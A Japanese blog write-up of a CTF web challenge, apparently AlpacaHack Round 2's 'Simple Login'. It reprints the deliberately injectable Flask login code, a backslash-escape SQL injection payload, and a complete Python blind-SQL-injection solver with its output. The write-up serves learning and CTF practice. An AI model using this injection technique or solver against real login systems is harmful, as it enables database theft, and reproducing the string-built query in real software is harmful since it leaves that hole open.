プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

AlpacaHack Round 2 (Web) write-up

AlpacaHack Round 2 (Web)へ参加しました。そのwrite-up記事です。

コンテスト概要

2024/09/01(日) 12:00 +09:00 - 09/01(日) 18:00 +09:00の6時間開催でした。他ルールはコンテストページから引用します:

AlpacaHack Round 2 (Web) へようこそ!
AlpacaHack は個人戦のCTFを継続して開催する新しいプラットフォームです。
AlpacaHack Round 2 は AlpacaHack で行われる 2 回目の CTF で、Web カテゴリから 4 問が出題されます。 幅広い難易度の問題が出題されるため、初心者を含め様々なレベルの方に楽しんでいただけるようになっています。
これらの問題は ark 氏によって作成されました!

参加方法
1. 右上の「Sign Up」ボタンから AlpacaHack のユーザー登録をしてください。
2. 登録完了後、このページの「Register」ボタンを押して CTF の参加登録をしてください。

注意事項
- AlpacaHack は個人戦のCTFプラットフォームであるため、チームでの登録は禁止しています。
- 問題は運営が想定した難易度の順に並んでいます。
- 問題の配点は解いた人数に応じて変動します。
- 全てのアナウンスは AlpacaHack の Discord サーバー で行われます。
  - アナウンスは本サービス上でも行うことがありますが、Discord サーバーが主な連絡手段となります。
  - 問題が発生した場合、#ticket チャンネルから連絡してください。ただし、問題のヒントは提供しません。
- 競技システム自体への攻撃は行わないでください。なお、偶然発見したバグの報告は歓迎します。

Round 1とは異なり、今回は各問題には難易度タグがありませんでした。代わりに 問題は運営が想定した難易度の順に並んでいます となっており、並び順で想定難易度が示されました。

結果

正の得点を得ている84人中、108点で61位でした:

順位と得点等

チェック印: 解けた問題

また、Certificate箇所から順位の証明書も表示できます:

環境

WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.4842]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-24.04           Running         2
  docker-desktop-data    Running         2
  kali-linux             Stopped         2
  docker-desktop         Running         2
  Ubuntu-22.04           Running         2

c:\>

他ソフト

  • Visual Studio Code Version: 1.92.2 (system setup)

WSL2(Ubuntu 24.04)

$ cat /proc/version
Linux version 5.15.153.1-microsoft-standard-WSL2 (root@941d701f84f1) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Fri Mar 29 23:14:13 UTC 2024
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
$ python3 --version
Python 3.12.3
$ python3 -m pip show httpx | grep Version:
Version: 0.27.0
$ curl --version
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7
Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.2
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd
$ docker --version
Docker version 27.1.1, build 6312585
$

解けた問題

[Web] Simple Login (84 solves, 108 points)

A simple login service :)

(接続先URL)

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./compose.yaml:             ASCII text
./db/init.sql:              ASCII text
./web/app.py:               Python script text executable Python script, Unicode text, UTF-8 text executable
./web/Dockerfile:           ASCII text
./web/requirements.txt:     ASCII text
./web/templates/index.html: HTML document, Unicode text, UTF-8 text
./web/templates/login.html: HTML document, ASCII text
$

各ファイルを見ると、まずdb/init.sqlは、usersテーブルを作成しているほか、フラグ内容をflagテーブルのvalue列へ追加していました:

USE chall;

DROP TABLE IF EXISTS flag;
CREATE TABLE IF NOT EXISTS flag (
    value VARCHAR(128) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;

-- On the remote server, a real flag is inserted.
INSERT INTO flag (value) VALUES ('Alpaca{REDACTED}');

DROP TABLE IF EXISTS users;
CREATE TABLE IF NOT EXISTS users (
    username VARCHAR(16) PRIMARY KEY,
    password VARCHAR(16) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;

INSERT INTO users (username, password) VALUES ('admin', 'pass');
INSERT INTO users (username, password) VALUES ('hacker', '1337');

web/app.pyがWebサーバーの機能を提供するものでした:

from flask import Flask, request, redirect, render_template
import pymysql.cursors
import os


def db():
    return pymysql.connect(
        host=os.environ["MYSQL_HOST"],
        user=os.environ["MYSQL_USER"],
        password=os.environ["MYSQL_PASSWORD"],
        database=os.environ["MYSQL_DATABASE"],
        charset="utf8mb4",
        cursorclass=pymysql.cursors.DictCursor,
    )


app = Flask(__name__)


@app.get("/")
def index():
    if "username" not in request.cookies:
        return redirect("/login")
    return render_template("index.html", username=request.cookies["username"])


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

        if username is None or password is None:
            return "Missing required parameters", 400
        if len(username) > 64 or len(password) > 64:
            return "Too long parameters", 400
        if "'" in username or "'" in password:
            return "Do not try SQL injection 🤗", 400

        conn = None
        try:
            conn = db()
            with conn.cursor() as cursor:
                cursor.execute(
                    f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
                )
                user = cursor.fetchone()
        except Exception as e:
            return f"Error: {e}", 500
        finally:
            if conn is not None:
                conn.close()

        if user is None or "username" not in user:
            return "No user", 400

        response = redirect("/")
        response.set_cookie("username", user["username"])
        return response
    else:
        return render_template("login.html")

手元環境でDockerコンテナを起動したり、動作確認用デバッグログを追加したりして、動作を確かめました:

  • Flaskでログを出力するには、print関数ではうまくいかず、app.logger.error("log")を使用する必要がありました。
    • app.logger.info("log")ではログ表示されませんでした。どこかでログレベルの制御があるのかもしれません。
    • →本記事公開後に作問者様にご指摘いただきまして、print関数でもflush=True引数を与えればログ出力できました!バッファリングのことを忘れがちです……!
  • compose.yamlがあるディレクトリへ移動してから docker compose up --build コマンドを実行すると、ファイルの変更をイメージへ反映しつつ、各種サービスを起動してくれます。
    • 今回のcompose.yamlでは次の内容があるため、サービス起動後に http://localhost:3000 へブラウザ等でアクセスできます:
services:
  web:
    # 中略
    ports:
      - ${PORT:-3000}:3000
    # 後略

試行錯誤したりした過程です:

  • web/app.pycursor.execute(f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'")箇所では、ユーザー由来の入力をエスケープ等せずにそのまま埋め込んでいます。そのためSQL Injectionを引き起こせそうです。
  • 一方でif "'" in username or "'" in password: return "Do not try SQL injection 🤗", 400する分岐があるため、シングルクォートを含めることはできないように見えます。
  • もしもusernamepasswordへ、文字列ではなく配列の値を指定できれば、シングルクォート検知分岐を突破できそうです。しかし、ユーザー入力を取得しているusername = request.form.get("username")で使っている方式のrequest.formの仕様をAPI — Flask Documentation (3.0.x)で調べても、文字列のみを指定できるようです。
    • ためしにPOST内容としてusername=a&username=b&password=cを送信してみましたが、usernameには最初のaだけが反映されていました。複数指定しても配列にはならないようです。
  • そこで、シングルクォート以外を指定する方法でSQL Injectionを引き起こす方法があるか調べました。今回のDBにはFROM mysql:8.0.39とMySQLを使っています。MySQL :: MySQL 8.0 Reference Manual :: 11.1.1 String Literalsを調べると、\'でシングルクォートをエスケープできるらしいことが分かりました。
  • 試しにcurl http://localhost:3000/login -d 'username=\&password=OR 1=1 #' -iと、SQL全体としてSELECT * FROM users WHERE username = '\' AND password = 'OR 1=1 #'となるリクエストを送信しました。これは、ユーザー名が\' AND password =であるか、1=1が成り立つuserを検索します。1=1は恒真式であるため、実質全ユーザーを検索することになります。またMySQLの#コメントを使って、最後のシングルクォートを無視させています。
  • 試した結果、HTTP/1.1 302 FOUNDとリダイレクトされるレスポンスが返りました。狙い通りにSQL Injectionできていそうです。

さて、この問題では、ログインに成功するとリダイレクト後のページで、ログイン中のユーザー名が表示されます。そのため本問題の簡単な解法としては「UNION SELECT value, 1 from flag」のように、フラグ内容をUNION SELECTすればいいようです。

しかし私はその事に全然気づいておらず、他の方のwrite-up記事を読んで知りました。上述のことに気づかなかった結果、「SQL文の実行結果が空なら400 BAD REQUESTが、空でなければ302 FOUNDが返るので、ビット単位でフラグ情報を取得するBlind SQL Injectionをすればいい」と考えて、突っ走っていました……。if len(username) > 64 or len(password) > 64: return "Too long parameters", 400の分岐があるため、文字数節約を考える必要がありました。

  • MySQLでは、SUBSTRING関数の同義語としてSUBSTR関数があります。SUBSTR関数を使えば文字数を節約できます。 MySQL :: MySQL 8.0 Reference Manual :: 14.8 String Functions and Operators
    • SUBSTR関数の呼び出し形式ではSUBSTR(str,pos,len)形式だけでなく、引数が2個のSUBSTR(str,pos)形式があります。引数が2個の形式を使うと文字数を節約できます。
      • SUBSTR関数のlen引数省略形式では、残りのすべての文字列を取得します。一方で後述のASCII関数やORD関数では、文字列の最初の文字のみを使用するため、len引数を省略しても、差し支えありません。
  • 二分探索するには、フラグ文字列の指定位置の文字の序数を取得できると簡単です。ASCII関数でもできますが、ORD関数を使うほうが文字数を節約できます。 MySQL :: MySQL 8.0 Reference Manual :: 14.8 String Functions and Operators
    • ドキュメントを読むと、少なくともASCIIに含まれる文字ではASCII関数とORD関数の挙動は同一のようです。フラグはASCIIでしょうから問題なさそうです。
  • &演算子を使うとビット積を計算できます。 MySQL :: MySQL 8.4 Reference Manual :: 14.12 Bit Functions and Operators

最終的に書いたソルバーです:

#!/usr/bin/env python3

import httpx

BASE_URL = "http://localhost:3000"

with httpx.Client(base_url=BASE_URL, timeout=20) as client:

    def attack(index: int, bit: int) -> bool:
        # 「UNION SELECT 1,1 FROM flag WHERE (ORD(SUBSTR(value,16))&128)>0#」のようなSQLiを発生させる
        password = f"UNION SELECT 1,1 FROM flag WHERE (ORD(SUBSTR(value,{index+1}))&{1<<bit})>0#"
        # print(f"{len(password) = }")
        assert len(password) <= 64
        r = client.post(
            "/login",
            data={
                "username": "\\",
                "password": password,
            },
        )
        # print(f"{r.status_code = }")
        return r.status_code == 302

    flag = ""
    for index in range(64):
        current = 0
        for bit in range(8):
            if attack(index, bit):
                current |= 1 << bit
        # print(f"{current = }")
        flag += chr(current)
        print(flag)
        if "}" in flag:
            break

httpxライブラリのデフォルトのタイムアウトは5秒(出典: Timeouts - HTTPX)ですが、コンテスト中の問題サーバー相手に通信しようとすると5秒や10秒ではReadTimeoutが発生することがありました。そのためタイムアウトを20秒と長めに設定しています。

実行しました:

$ time ./solve.py
A
Al
Alp
Alpa
Alpac
Alpaca
Alpaca{
Alpaca{S
Alpaca{SQ
Alpaca{SQL
Alpaca{SQLi
Alpaca{SQLi_
Alpaca{SQLi_w
Alpaca{SQLi_wi
Alpaca{SQLi_wit
Alpaca{SQLi_with
Alpaca{SQLi_with0
Alpaca{SQLi_with0u
Alpaca{SQLi_with0ut
Alpaca{SQLi_with0ut_
Alpaca{SQLi_with0ut_5
Alpaca{SQLi_with0ut_5i
Alpaca{SQLi_with0ut_5in
Alpaca{SQLi_with0ut_5ing
Alpaca{SQLi_with0ut_5ingl
Alpaca{SQLi_with0ut_5ingle
Alpaca{SQLi_with0ut_5ingle_
Alpaca{SQLi_with0ut_5ingle_q
Alpaca{SQLi_with0ut_5ingle_qu
Alpaca{SQLi_with0ut_5ingle_quo
Alpaca{SQLi_with0ut_5ingle_quot
Alpaca{SQLi_with0ut_5ingle_quot3
Alpaca{SQLi_with0ut_5ingle_quot3s
Alpaca{SQLi_with0ut_5ingle_quot3s!
Alpaca{SQLi_with0ut_5ingle_quot3s!}
./solve.py  0.77s user 0.08s system 0% cpu 1:40.36 total
$

フラグを入手できました: Alpaca{SQLi_with0ut_5ingle_quot3s!}

感想

  • 長らく思っていることですけれど、Webジャンルでは様々な言語、フレームワーク、ライブラリ、コマンドや、多くのファイルが登場しがちなので、なかなか難しいです。
  • それでも、いろいろな仕様を調べながら「ああでもないこうでもない」と唸る時間はそれはそれで良いものです。